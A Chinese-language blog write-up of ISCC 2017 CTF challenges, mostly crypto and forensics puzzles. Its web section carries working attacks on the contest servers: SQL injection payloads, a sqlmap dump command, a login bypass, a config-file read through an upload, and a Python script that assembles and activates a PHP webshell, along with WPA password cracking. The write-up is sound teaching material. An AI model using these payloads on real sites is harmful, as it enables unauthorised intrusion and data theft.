ISCC 2017 WriteUp

Posted by JHSN on May 29, 2017

ISCC 2017 WriteUp 解题报告

做了 Web 和杂项,这个题目质量啊。。实在是参差不齐,有些题用来练练手蛮好的
但有些脑洞实在不敢恭维,做起来还是比较坎坷难受的,尤其最最最最最恶心的是!!!Flag 的格式!!!
本文 Flag 格式写不一定正确哈,有些记不起来了,标了 maybe
真的是……无fuck说,但是做都做了,就写一下 WriteUp 吧



Choice

这种科班路子走的,没话说……我菜鸡,我投降


Basic - Wheel Cipher

Problem

身为二战时期的密码专家,你截获了通信员身上的一段密文、密钥序列和加密列表。你能看懂吗?
附件内容:

加密表:
1:	< ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2:	< KPBELNACZDTRXMJQOYHGVSFUWI <
3:	< BDMAIZVRNSJUWFHTEQGYXPLOCK <
4:	< RPLNDVHGFCUKTEBSXQYIZMJWAO <
5:	< IHFRLABEUOTSGJVDKCPMNZQWXY <
6:	< AMKGHIWPNYCJBFZDRUSLOQXVET <
7:	< GWTHSPYBXIZULVKMRAFDCEONJQ <
8:	< NOZUTWDCVRJLXKISEFAPMYGHBQ <
9:	< XPLTDSRFHENYVUBMCQWAOIKZGJ <
10:	< UDNAJFBOWTGVRSCZQKELMXYIHP <
11:	< MNBVCXZQWERTPOIUYALSKDJFHG <
12:	< LVNCMXZPQOWEIURYTASBKJDFHG <
13:	< JZQAWSXCDERFVBGTYHNUMKILOP <

密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
密文为:NFQKSEVOQOFNP
密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
密文为:NFQKSEVOQOFNP

Solution

直接搜索 Wheel Cipher 或者加密表的第一行就能找到出处 —— Jefferson disk
大致意思就是有好多个转盘,每个转盘上有 26 个字母,每个转盘代表原文中的一个字母,通过调整各个原盘,使得原文的所有字符按顺序出现在一列上,然后再在另外 25 列随便选取一列作为密文,解密的话也是一样的。至于 key 的话,就是用来打乱原盘顺序的,并不复杂。

mtable = """1:	< ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2:	< KPBELNACZDTRXMJQOYHGVSFUWI <
3:	< BDMAIZVRNSJUWFHTEQGYXPLOCK <
4:	< RPLNDVHGFCUKTEBSXQYIZMJWAO <
5:	< IHFRLABEUOTSGJVDKCPMNZQWXY <
6:	< AMKGHIWPNYCJBFZDRUSLOQXVET <
7:	< GWTHSPYBXIZULVKMRAFDCEONJQ <
8:	< NOZUTWDCVRJLXKISEFAPMYGHBQ <
9:	< XPLTDSRFHENYVUBMCQWAOIKZGJ <
10:	< UDNAJFBOWTGVRSCZQKELMXYIHP <
11:	< MNBVCXZQWERTPOIUYALSKDJFHG <
12:	< LVNCMXZPQOWEIURYTASBKJDFHG <
13:	< JZQAWSXCDERFVBGTYHNUMKILOP <""".split('\n')
m = [""] * 13
for i in range(13):
    for y in mtable[i]:
        if str.isalpha(y):
            m[i] += y

key = [2, 3, 7, 5, 13, 12, 9, 1, 8, 10, 4, 11, 6]
message = "NFQKSEVOQOFNP"
for i in range(len(key)):
    x = key[i] - 1 # key[i] - 1
    while m[x][0] != message[i]:
        m[x] = m[x][1:] + m[x][0]

for i in range(26):
    for j in range(len(key)):
        print(m[key[j] - 1][i].lower(), end="")
    print("\n")

最后 26 串英文里找结果,我视力不太好,一开始还没找出来。。

Flag

FIREINTHEHOLE


Basic - 公邮密码

Solution

有个空的文件 pw WINDoWsSEViCEss.txt
这个文件名大小写混杂,而且是 15 个大小写字符,大概是培根密码了,所以直接爆破了一下 3 位的字母 —— BIT
解压一下,一个 txt:RmxhZzp7THkzMTkuaTVkMWYqaUN1bHQhfQ==
再 Base64 一下就结束了

Flag

Flag:{Ly319.i5d1f*iCult!}




Basic - 说我作弊,需要证据

Problem

X 老师怀疑一些调皮的学生在一次自动化计算机测试中作弊,他使用抓包工具捕获到了 Alice 和 Bob 的通信流量。
狡猾的 Alice 和 Bob 同学好像使用某些加密方式隐藏通信内容,使得 X 老师无法破解它,也许你有办法帮助 X 老师。
X老师知道 Alice 的 RSA 密钥为 (n, e) = (0x53a121a11e36d7a84dde3f5d73cf, 0x10001) (192.168.0.13)
Bob 的 RSA 密钥为 (n, e) =(0x99122e61dc7bede74711185598c7, 0x10001) (192.168.0.37)

Solution

流量包分析一下 TCP 流,看到一堆 Base64 编码,解一下,然后拿其中一条 google 了一下。。
write-ups/README.md at master · RandomsCTF/write-ups
Capture the Swag: Hack.Lu - Creative Cheating 150pt Crypto Challenge
呵呵一笑,flag 都一样的。。

他们 wp 的内容翻译一下,大致意思就是:
这里的每一段 Base64 解出来都是一段 RSA 加密后的信息

SEQ = 13; DATA = 0x3b04b26a0adada2f67326bb0c5d6L; SIG = 0x2e5ab24f9dc21df406a87de0b3b4L;
SEQ = 0; DATA = 0x7492f4ec9001202dcb569df468b4L; SIG = 0xc9107666b1cc040a4fc2e89e3e7L;
SEQ = 5; DATA = 0x94d97e04f52c2d6f42f9aacbf0b5L; SIG = 0x1e3b6d4eaf11582e85ead4bf90a9L;
SEQ = 4; DATA = 0x2c29150f1e311ef09bc9f06735acL; SIG = 0x1665fb2da761c4de89f27ac80cbL;
SEQ = 18; DATA = 0x181901c059de3b0f2d4840ab3aebL; SIG = 0x1b8bdf9468f81ce33a0da2a8bfbeL;
SEQ = 2; DATA = 0x8a03676745df01e16745145dd212L; SIG = 0x1378c25048c19853b6817eb9363aL;
SEQ = 20; DATA = 0x674880905956979ce49af33433L; SIG = 0x198901d5373ea225cc5c0db66987L;
SEQ = 0; DATA = 0x633282273f9cf7e5a44fcbe1787bL; SIG = 0x2b15275412244442d9ee60fc91aeL;
[...]

SEQ 表示顺序,DATA 表示密文,SIG 表示校验码

首先求 Alice 和 Bob 的 p,q(factordb.com 丢一下),然后把这两个都拿去解密试试看,解出来是用 Bob 的密钥,而且每一段代表一个字符,但是 SEQ 有重复,大概是有多余的字符
多余的原因就是对于解出来的东西需要用 SIG 去验证

验证等式:
pow(SIG, e, Alice_n) == pow(DATA, Bob_d, Bob_n)
也就是
pow(SIG, e, Alice_n) == m

如果验证不通过则丢弃,最后剩下的就能拼出 Flag

Flag

flag{n0th1ng_t0_533_h3r3_m0v3_0n}


Basic - 你猜猜。。

Problem

我们刚刚拦截了,敌军的文件传输获取一份机密文件,请君速速破解。

504B03040A0001080000626D0A49F4B5091F1E0000001200000008000000666
C61672E7478746C9F170D35D0A45826A03E161FB96870EDDFC7C89A11862F91
99B4CD78E7504B01023F000A0001080000626D0A49F4B5091F1E00000012000
000080024000000000000002000000000000000666C61672E7478740A002000
0000000001001800AF150210CAF2D1015CAEAA05CAF2D1015CAEAA05CAF2D10
1504B050600000000010001005A000000440000000000

Solution

看看这个 “504B” 开头想想就知道是个 zip

s = "..."
f = open("1.zip", 'wb')
for i in range(0, len(s), 2):
    f.write(int(s[i] + s[i + 1], 16).to_bytes(1, 'big'))
f.close()

解压一看,加了密,爆破一下:123456

Flag

daczcasdqwdcsdzasd




Basic - 神秘图片

Problem

小明最近参加一个叫共济会的社团,社长一天神秘失踪,在社长电脑桌面上同学们发现一张奇怪的照片,为找到社长,社员们正在努力解密这张照片,可是一直找不到答案,你们发现神秘蛛丝马迹吗?

Solution

binwalk -e

猪圈密码!

Flag (maybe)

GOODLUCK



Basic - 告诉你个秘密

Problem

简单加密

636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067

Solution

把它俩连起来,转 ASCII 得到:cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g,Base64 decode 一下得到 r5yG lp9I BjM tFhBT6uh y7iJ QsZ bhM,最后一步,也是最狗血的一步:看看你的键盘。。

import base64
import binascii

s = "636A56355279427363446C4A49454A7154534230526D684356445A31614342354E326C4B4946467A5769426961453067"
print(s)
s = binascii.a2b_hex(s.encode()).decode()
print(s)
s = base64.b64decode(s.encode()).decode()
print(s)

Flag (maybe)

TONGYUAN




Basic - PHP_encrypt_1

Problem

给了一段密文:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
和加密程序

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

Solution

傻X题。。有啥好说的,直接解呗。。

<?php
function decrypt($data)
{
    $key = md5('ISCC');
    $data = base64_decode($data);
    
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    
    $str = "";
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) - ord($char[$i]) + 128) % 128);
    }
    return $str;
}

echo decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");
?>

Flag

Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}




Basic - 二维码

Problem

这是一个二维码

Solution

二维码图片的名字叫做 u5bc6u7801u7eafu6570u5b57u5171u0038u4f4d.png,瞄一眼感觉有点规律,大概 UniCode,解一下 —— 密码纯数字共8位
然后 binwalk 搞了一下,出来一个压缩包 C8-E7-D8-E8-E5-88_handshake.cap.zip
这个压缩包加了密,按照提示爆破,破出来是 20161114
解压出来两个文件,一个 .cap 流量包,一个 txt 写着 —— 前四位是ISCC 后四位由大写字母和数字构成
……很显然……暴力破解无线密码,那么就按照提示生成一下字典,然后用 aircrack-ng 工具爆破一下就好了:
aircrack-ng -w "dict.txt" C8-E7-D8-E8-E5-88_handshake.cap

Flag

ISCC16BA







Web - Web签到题,来和我换flag啊!

Problem

Ps:比赛过程中严禁和其他队伍互换flag!!!
http://139.129.108.53:3190/web-02/

Solution

首先提示了:

You give me f1ag and I will give you flag too~~~

看看 Network 流量,有两个表单数据 flag 和 hiddenflag,都改成 f1ag 试试

哼,就给我一个flag我才不和你换呢
还不够诚意,不和你换FLAG

啥玩意儿啊。。拿这个 FLAG 试试吧。。

哼,就给我一个flag我才不和你换呢
还不够诚意,不和你换FLAG
这样才有诚意,flag给你吧!

有你 ** 的 flag,页面上没有,源码也没有,http 头里也。。噢。。有。。
诶。。怎么这个 flag 不对。。换个格式,还不对。换,不对。换,不对。日,终于对了
最终 payload 是 flag=f1ag&hiddenflag=f1ag&FLAG=f1ag

Flag

f1ag: {N0w_go1Odo!otherw3b}
SB 的 flag 格式



Web - WelcomeToMySQL

Problem

Welcome to MySQL! SQL inject?
http://139.129.108.53:8081/web-01/

Solution

一开始有一个文件上传的口子,然后源码里有一段:

<!--
    hint:$servername,$username,$password,$db,$tb is set in ../base.php
-->

试试上传,php 过滤了,php5没过滤,简单,赶紧 system("cat ../base.php") 一下:

<!--?php
    $servername="localhost";
    $username="iscc2017";
    $password="iscc2017";
    $db="flag";
    $tb="flag";
?-->

那就再连一下 MySQL 吧

if(!$db = @mysql_connect('localhost', 'iscc2017', 'iscc2017')) {
	die('Connection error');
}
if(!@mysql_select_db('flag', $db)) {
	die('Can\'t locate database');
}
$flag = mysql_query("SELECT * FROM flag") or die('queryError!');
$data = mysql_fetch_array($flag);
var_dump($data);

输出:

array(6) { [0]=> string(1) "1" ["id"]=> string(1) "1" [1]=> string(9) " ISCC2017" ["name"]=> string(9) " ISCC2017" [2]=> string(35) " Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}" ["flag"]=> string(35) " Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}" }

Flag

Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}




Web - where is your flag

Problem

美国大黑阔Jack来窃取小明的flag,看上去确实很简单 http://139.129.108.53:6980/web-08/

Solution

tmd 这是个宽字符注入题 gnmddcb
最终 payload:

python sqlmap.py --url="http://139.129.108.53:6980/web-08/?id=1" --dbms=MySQL --tamper=unmagicquotes.py -D "web_robots" -T "flag" --dump

Flag

flag:{441b7fa1617307be9632263a4497871e}




Web - 我们一起来日站

Problem

老司机发挥所长,利用平时拿站的技巧来解题吧
http://139.129.108.53:5090/web-04/

Solution

第一步:robots.txt

#
# robots.txt 
#
User-agent: * 
Disallow: /21232f297a57a5a743894a0e4a801fc3/
Disallow: /api

第二步:http://139.129.108.53:5090/web-04/21232f297a57a5a743894a0e4a801fc3/
网页上写着 keep finding admin page!,那就看看 admin.php 呗

第三步:http://139.129.108.53:5090/web-04/21232f297a57a5a743894a0e4a801fc3/admin.php
随便登陆一下,在左上角会有一行小字回显:Wrong password!,注入搞起搞起。。tmd 万能密码 ' or 1=1 #。然后就结束了。

Flag

Flag:{ar32wefafafqw325t4rqfcafas}




Web - 自相矛盾

Problem

打破常规,毁你三观!
http://139.129.108.53:8083/web-09/

Solution

看下 HTML 源码,发现给了 PHP 源码

<?php
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['iscc']); 

if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["bar2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
		
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
		
    }
	
}
if($v1 && $v2 && $v3){ 
   
   echo $flag;
}
?>

分析一下,总共三关(让 v1 v2 v3 都变 1)

第一关:

!is_numeric($a["bar1"])
$a["bar1"] > 1

利用字符串与数字比较时的特性,构造一个 9999g

第二关:

$a["bar2"] 是长度为 5 的数组,且第一个元素是数组
array_search("nudt", $a["bar2"]) !== false
$a["bar2"] 中的每个 key !== "nudt"

array_search 是弱判断,0 == “nudt”,所以让某个元素是 0 就行了

第三关:
这个匹配啊,需要利用一个特性,就是如果拿数组去进行字符串匹配,会返回 false,而且 eregi 可以使用 %00 做强制截断,那这个题目就很好做了

最终 payload:
?iscc={"bar1":"9999g","bar2":[[],0,0,0,0]}&cat[0]=%00isccctf2017&cat[1]=1&dog[]=1

Flag

flag{sfklljljdstuaft}




Web - Simple sqli

Problem

上次小明的系统被注入了。这次他加了个变态的验证码 不好绕过了吧
http://139.129.108.53:4567/web-05/

Solution

傻逼题
username: ' union select md5(1) # password: 1

import hashlib
import requests
import re

def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

class Captcha:
    char = "0123456789abcdef"
    def __init__(self):
        self.a = {}
        for i in range(35000):
            md = md5(str(i))[:3]
            self.a[md] = str(i)

capt = Captcha()

url = "http://139.129.108.53:4567/web-05/"
pat = r"substr\(md5\(captcha\)\,\s0\,\s3\)\=(.*?)\<\/span\>"

s = requests.Session()
res = s.get(url).text
res = re.findall(pat, res)
print(res)
captcha = capt.a[res[0]]
print(captcha, md5(captcha))
res = s.post(url, data={'username': "' union select md5(1) #", 'password': 1, 'captcha': captcha}).text
print(res)

Flag

Flag:{1fedd3ed695e21464a210862ffb02962}




Web - I have a jpg,i upload a txt.

Problem

小明发现,php 将上传的 jpg 文件流写入一个txt中,再重命名后缀为 jpg 还可以正常读取,于是写了一段上传代码,会不会有什么漏洞呢?
http://139.129.108.53:3366/web-03

<html> 
<body> 
<?php 
include 'hanshu.php'; 
if(isset($_GET['do'])) 
{ 
    $do=$_GET['do']; 
    if($do==upload) 
    { 
        if(empty($_FILES)) 
        { 
            $html1=<<<HTML1 
            <form action="index.php?do=upload" method="post" enctype="multipart/form-data"> 
            <input type="file" name="filename">                  
            <input type="submit" value="upload"> 
            </form> 
HTML1; 
            echo $html1; 
        } 
        else 
        {   $file=@file_get_contents($_FILES["filename"]["tmp_name"]); 
            if(empty($file)) 
            { 
                die('do you upload a file?'); 
            } 
            else 
            { 
                if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1)) 
                { 
                    die('you can\' upload this!'); 
                } 
                else 
                { 
                    $rand=mt_rand(); 
                    $path='/var/www/html/web-03/uploads/'.$rand.'.txt'; 
                    file_put_contents($path, $file); 
                    echo 'your upload success!./uploads/'.$rand.'.txt'; 
                } 
            } 
             
        } 
         
    } 
    elseif($do==rename) 
    { 
        if(isset($_GET['re'])) 
        { 
            $re=$_GET['re']; 
            $re2=@unserialize(base64_decode(unKaIsA($re,6))); 
            if(is_array($re2)) 
            { 
                if(count($re2)==2) 
                {    
                    $rename='txt'; 
                    $rand=mt_rand(); 
                    $fp=fopen('./uploads/'.$rand.'.txt','w'); 
                    foreach($re2 as $key=>$value) 
                    { 
                        if($key==0) 
                        { 
                            $rename=$value; 
                        } 
                        else 
                        { 
                            if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value)) 
                            { 
                                $file=file_get_contents('./uploads/'.$value.'.txt'); 
                                fwrite($fp,$file); 
                            } 
                        } 
                    } 
                    fclose($fp); 
                    waf($rand,$rename); 
                    rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename); 
                    echo "you success rename!./uploads/$rand.$rename"; 
                } 
            } 
            else 
            { 
                echo 'please not hack me!'; 
            } 
        } 
        elseif(isset($_POST['filetype'])&&isset($_POST['filename'])) 
        { 
            $filetype=$_POST['filetype']; 
            $filename=$_POST['filename']; 
            if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename)) 
            {    
                $re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6); 
                header("Location:index.php?do=rename&re=$re"); 
                exit(); 
            } 
            else 
            { 
                echo 'you do something wrong'; 
            } 
        } 
        else 
        { 
            $html2=<<<HTML2 
            <form action="index.php?do=rename" method="post">           
filetype: <input type="text" name="filetype" /> please input the your file's type 
</br> 
filename: <input type="text" name="filename" /> please input your file's numeric name,like 12345678 
</br> 
<input type="submit" /> 
</form> 
HTML2; 
            echo $html2; 
             
        } 
    } 
     
} 
else 
{    
    show_source(__FILE__); 
} 
?> 
</body>
</html>

Solution

蛮巧妙的一道题

关于 upload,我们一开始上传上去的文件中不能含有 “<?” “?>” “php” “<script” “script>” (不区分大小写)

尝试一下 rename 功能,目的是截获那一段 base64,截获下来之后进行凯撒加密的尝试
试出它的加密方式 —— 大小写字母分为两类分别向两个相反的方向移位 6 格,其余字符不动
这样的话,我们就能伪造 base64 使得按照我们想要的方式进行 rename
尝试过程中发现,修改后的后缀名长度必须是 3 位,a 数组必须是两个元素

既然无法上传脚本,那么脚本一定是后面的步骤变出来的,注意到 a 数组不一定需要一个 0 一个 1,因为一开始 $rename 有初值 “txt”,所以 a 的两个 key 可以都不为 0,然后利用这个 fwrite 去写两次文件,就能够将两个文件拼起来,所以我们只要拼一下 “<” + “?=system($_GET[‘x’]);?” + “>” 就行了

具体脚本:

from base64 import *
import requests
import re


def open_page(url):
    return requests.get(url).text


def d(s):
    o = 20
    ret = ''
    for c in s:
        if c.isupper():
            ret += chr((ord(c) - 65 + o) % 26 + 65)
        elif c.islower():
            ret += chr((ord(c) - 97 - o + 26) % 26 + 97)
        else:
            ret += c
    return b64decode(ret.encode()).decode()


def e(s):
    o = 20
    ret = ''
    s = b64encode(s.encode()).decode()
    for c in s:
        if c.isupper():
            ret += chr((ord(c) - 65 - o + 26) % 26 + 65)
        elif c.islower():
            ret += chr((ord(c) - 97 + o) % 26 + 97)
        else:
            ret += c
    return ret


def work(s):
    print(s)
    s = e(s)
    print(s)
    print("Rename:")
    res = open_page('http://139.129.108.53:3366/web-03/?do=rename&re=%s' % s)
    print(res)
    filepath = re.findall(r"you success rename!\.\/uploads\/(\d*?)\..*?\<\/body\>", res)[0]
    return filepath


def connect(num1, num2):
    pat = 'a:2:{{i:1;s:{}:"{}";i:2;s:{}:"{}";}}'
    return work(pat.format(len(num1), num1, len(num2), num2))


def change_type(num12):
    pat = 'a:2:{{i:0;s:3:"php";i:1;s:{}:"{}";}}'
    return work(pat.format(len(num12), num12))


# type three numbers
num1 = "897014635"  # file1: &lt;
num2 = "534023771"  # file2: ?=system($_GET['x'])?
num3 = "1287295939"  # file3: >

baseurl = "http://139.129.108.53:3366/web-03/uploads/"
print(open_page(baseurl + "%s.txt" % num1))
print(open_page(baseurl + "%s.txt" % num2))
print(open_page(baseurl + "%s.txt" % num3))

fp = connect(num1, num2)  # file1 + file2 => fp
fp = connect(fp, num3)  # fp + file3 => fp
print(baseurl + "%s.php" % change_type(fp))  # curl

Flag

flag{54a5bd4fe6193580020487b56acff6c5}




Misc - 眼见非实

Solution

给了一个 docx,解压一下搜一下文件内容就找到了 flag,不知道想考啥。。
期间搜到过一道类似的题目 Securinets Quals CTF 2015: Document

Flag

flag{F1@g}




Misc - 就在其中

Problem

啊。我好像捕获到了什么不得了的东西。

Solution

给了一个流量包,分析一下 TCP 流

# 流 8:
03-12-16  12:20PM            142588562 IDA Pro 6.5 Setup.exe
08-09-16  11:15AM                  128 key.txt
08-10-16  11:29AM                  240 key.zip
08-09-16  11:12AM                  272 pub.key
08-09-16  11:11AM                  891 test.key
04-15-16  10:38PM              7357556 ....-.......pdf
04-15-16  10:38PM              9871783 ....-.......pdf
# 流 14:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD0UN0A+70iM0VCJ1ni0n/U1BRj
0u8yMWH4Qi+xTbjHgbE7wOukOaO+2PyQXiqIzZnf5jCkJuVDYjALGcKrZM4OCQBB
d85B/LTc36XZ7JVfX5kGy5tIR3tquuPIVKNdAsHlSqh9S7YSS39RdnSa5rOUyGhr
LzxwzzM9IO4e+QQ+CQIDAQAB
-----END PUBLIC KEY-----
# 流 20:
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQD0UN0A+70iM0VCJ1ni0n/U1BRj0u8yMWH4Qi+xTbjHgbE7wOuk
OaO+2PyQXiqIzZnf5jCkJuVDYjALGcKrZM4OCQBBd85B/LTc36XZ7JVfX5kGy5tI
R3tquuPIVKNdAsHlSqh9S7YSS39RdnSa5rOUyGhrLzxwzzM9IO4e+QQ+CQIDAQAB
AoGADiaw5mGubtCxbkeBOVYf+V/fXnjVSf76QbrzsD1kOooUjfV6sKR2C5Pd7S7H
H+1owENBBgEKvoBtb/cqA2tvU9vQ4l5TMBJcHv6LEcb9WPpnMxPV2GNjO+DTPGPy
Xnu1UZlZjwx+NaF5rESoSSVS2ZaaIixBs4RWRXk+lHEbTFECQQD6Rp6jMweRgPHO
pR3mgIK83zL+kzqYM5isIPv3DIC5JQN2kXqK73IDQCFVlfXnr9lAAVRzLDsAXLqv
le/o6yQLAkEA+edY+GERlLuD1t2k9Js0Dc7EwnLcxoFUE60ivj8Gf9jzLskGHxsv
0IV6J5OHwPh54kAxAnqCjSqNRAWGNzr+uwJBALYEjDUm1LdGrxXZ0jAkgHC6Z0zs
aK3uwHdXGcinqCp+t9EQpq3KzQF+L4AeKxRQONEq5m9I2LQ/vGocwrmD4dcCQQDb
rTyOinWz8upAFPKOe2hUwvA/pkzgyosoCMhDyI9kD0gmVlvlODbd7Jem9o8dWM97
zcXHUf41LbSkmN6U6m1FAkEAqmZbr35bPfkeoiikwNl6OVQytg12TZjw2vIbvfub
f9Rvti8Lh/tbrmhZroiz8/l3aAZmugI1NBcbeZR0gz8ggg==
-----END RSA PRIVATE KEY-----

能看出来这是做了一个关于 RSA 加密的操作,所以把 key 什么的都掏下来
有个流是个 PDF,没什么用
然后还有一个流是 “PK” 打头的,把这个 ZIP 掏出来,解压出来一个 txt,大概是密文
然后 OpenSSL 解一下密就好了:openssl rsautl -decrypt -in key.txt -inkey private.key -out ans.txt
解密结果:hi, boys and girls! flag is {haPPy_Use_0penSsI}

Flag (maybe)

haPPy_Use_0penSsI




Misc - 很普通的Disco

Problem

普通的DISCO我们普通的摇~~~~

Solution

给了一个音频,用 Audacity 看一下
频谱一开始有一段诡异的空白


放大一下


然后是比较脑洞的一步,每一个节点都代表一个二进制,上面是 1,下面是 0

按照格子数出来:
110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101

Gruop Chars:
1100110
1101100
1100001
1100111
1111011
1010111
0110000
1010111
0101010
1100110
1110101
1101110
1101110
1111001
1111101

Binary to ASCII:
flag{W0W*funny}

Flag

flag{W0W*funny}




Misc - 很普通的数独

Problem

没那么简单~就能做出~数独的答案~尤其是在~看过了那么多的题目~
附件给了 25 张数独(图片)

Solution

其中有几张图很特别的啊

把有数字的地方涂黑之后

二维码!
然后就写了一段 Python 来生成 HTML 拼图片

f = open('1.html', 'w')
f.write("<style>img{position:absolute;}</style>" + '\n')
a = [0,
     21, 2, 3, 4, 1,
     6, 7, 8, 9, 10,
     11, 12, 13, 14, 15,
     16, 17, 18, 19, 20,
     5, 22, 23, 24, 25]
for i in range(5):
    for j in range(5):
        f.write(r'<img src="{}.png" style="left:{}px;top:{}px;"/>'.format(a[i * 5 + j + 1], j * 208, i * 199))
    f.write("<br>" + '\n')
f.close()

大概这个样子:

这样肯定扫不出来啊,怎么办?涂黑!图太多了怎么办?Python 图像处理!
大致思路是计算一张图中的 81 个格子的位置,然后看每一个格子中心的一堆像素(比如我这里设置了 6 x 6)中是否有黑色像素。如果没有说明是白格子,跳过;如果有说明是有数字的格子,涂黑。脚本如下:

from PIL import Image

def work(s):
	im = Image.open("{}.png".format(s))
	width = im.size[0]
	height = im.size[1]
	newim = Image.new("RGB", (width, height), (255,255,255))
	print(im.size)
	print(newim.size)
	sx = sy = 2
	for i in range(width):
		for j in range(height - sy):
			try:
				p = im.getpixel((i, j))
				newim.putpixel((i,j), p)
			except:
				pass#print(i, j)
	xx = yy = 14
	blockx = 23
	blocky = 22
	r = 3
	rr = 12
	for i in range(9):
		stx = int(xx + i * blockx)
		for j in range(9):
			sty = int(yy + j * blocky)
			flag = False
			for x in range(stx - r, stx + r):
				for y in range(sty - r, sty + r):
					p = newim.getpixel((x, y))
					if p == (0,0,0):
						flag = True
						break
				if flag:
					break
			if flag:
				for x in range(stx - rr, stx + rr):
					for y in range(sty - rr, sty + rr):
						try:
							newim.putpixel((x,y), (0,0,0))
						except:
							pass
	newim.save("{}-1.png".format(s))

for i in range(1, 26):
	work(i)

这样子涂黑完,重新生成一下 HTML,拼出来是这样子的:

扫一扫:
Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs9

多重 Base64:
Vm1wSmQyVkZOVWhTYTJScFRUTkNjbFZyV21GVU1WVjNWMjFHYW1KR1NsaFhhMVpyWVRGWmVGZHNXbFppVkZZelZrZDRhMUpXUmxWaGVqQTk=

VmpJd2VFNUhSa2RpTTNCclVrWmFUMVV3V21GamJGSlhXa1ZrYTFZeFdsWlZiVFYzVkd4a1JWRlVhejA9

VjIweE5HRkdiM3BrUkZaT1UwWmFjbFJXWkVka1YxWlZVbTV3VGxkRVFUaz0=

V20xNGFGb3pkRFZOU0ZaclRWZEdkV1ZVUm5wTldEQTk=

Wm14aFozdDVNSFZrTVdGdWVURnpNWDA9

ZmxhZ3t5MHVkMWFueTFzMX0=

flag{y0ud1any1s1}

Interesting

Flag

flag{y0ud1any1s1}







评论区加载中